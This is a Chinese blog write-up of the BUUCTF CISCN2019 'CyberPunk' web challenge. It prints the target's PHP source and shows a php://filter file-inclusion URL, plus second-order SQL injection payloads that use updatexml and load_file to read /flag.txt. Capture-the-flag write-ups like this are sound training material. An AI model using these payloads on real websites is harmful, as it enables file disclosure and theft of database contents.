BUUCTF:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

在这里插入图片描述
F12查看源码,发现存在传参
在这里插入图片描述
尝试通过伪协议文件包含读取源码:

http://467ceaa4-2e02-46f9-b14a-25ec91a65986.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=index.php

发现除了index.php还存在这几个php文件:confirm.php,delete.php,change.php,search.php

//index.php
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>
//HTML页面的代码省略,保留之前说的注释
<!--?file=?-->
//search.php
<?php
require_once "config.php"; 
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<?php
//confirm.php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>
//change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<?php
//delete.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

分析源码发现除了change.php中的address这个参数只是进行了addslashes($_POST[“address”])的一些转义,其他的参数都过滤,基本上没有注入方法。所以重点看这个address参数

在这里插入图片描述
在这里插入图片描述
二次注入
如果user_name和phone参数都没有问题的话,address参数会和存入到数据库,我们只需要构造好payload,当下一次正常查询数据就会被触发造成SQL注入,这里使用报错注入的方式,将我们想要的数据查出来,但是考虑到flag的长度,而updatexml每次只能回显32位,所以需要分两次读取,payload如下:

第一次读取前30位

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

先提交,再修改
在这里插入图片描述
在这里插入图片描述
得到一部分flag
在这里插入图片描述

第二次读取之后的flag:


1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)#

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论
A: <html> <head> <title>Cyberpunk Pop-up</title> <style> body { background-color: #141A2F; font-family: 'Roboto Mono', monospace; color: #8C8C8C; } .container { width: 100%; height: 100vh; display: flex; justify-content: center; align-items: center; } .button { outline: none; border: none; background-color: #7F5AF0; color: #E5E5E5; font-size: 2.5rem; padding: 1.5rem 3.5rem; border-radius: 0.5rem; cursor: pointer; box-shadow: 0 0.25rem 0.5rem rgba(0,0,0,0.1); transition: all 0.2s ease-in-out; } .button:hover { box-shadow: 0 0.5rem 1rem rgba(0,0,0,0.2); transform: translateY(-2px); } .overlay { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; background-color: rgba(0,0,0,0.75); display: flex; justify-content: center; align-items: center; } .pop-up { background-color: #1B1C28; width: 40%; padding: 3.5rem 5.5rem; border-radius: 0.75rem; box-shadow: 0 0.5rem 1rem rgba(0,0,0,0.2); text-align: center; } h2 { font-size: 2.5rem; margin-bottom: 2rem; } p { font-size: 1.5rem; color: #8C8C8C; margin-bottom: 3rem; } .close { position: absolute; top: 1.5rem; right: 1.5rem; font-size: 2rem; color: #8C8C8C; cursor: pointer; } .close:hover { color: #E5E5E5; } </style> </head> <body> <div class="container"> <button class="button" onclick="openPopUp()">Open Pop-Up</button> <div class="overlay" id="overlay"> <div class="pop-up"> <span class="close" onclick="closePopUp()">✕</span> <h2>Hello World!</h2> <p>This is a cyberpunk styled pop-up.</p> </div> </div> </div> <script> function openPopUp() { document.getElementById("overlay").style.display = "flex"; } function closePopUp() { document.getElementById("overlay").style.display = "none"; } </script> </body> </html>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值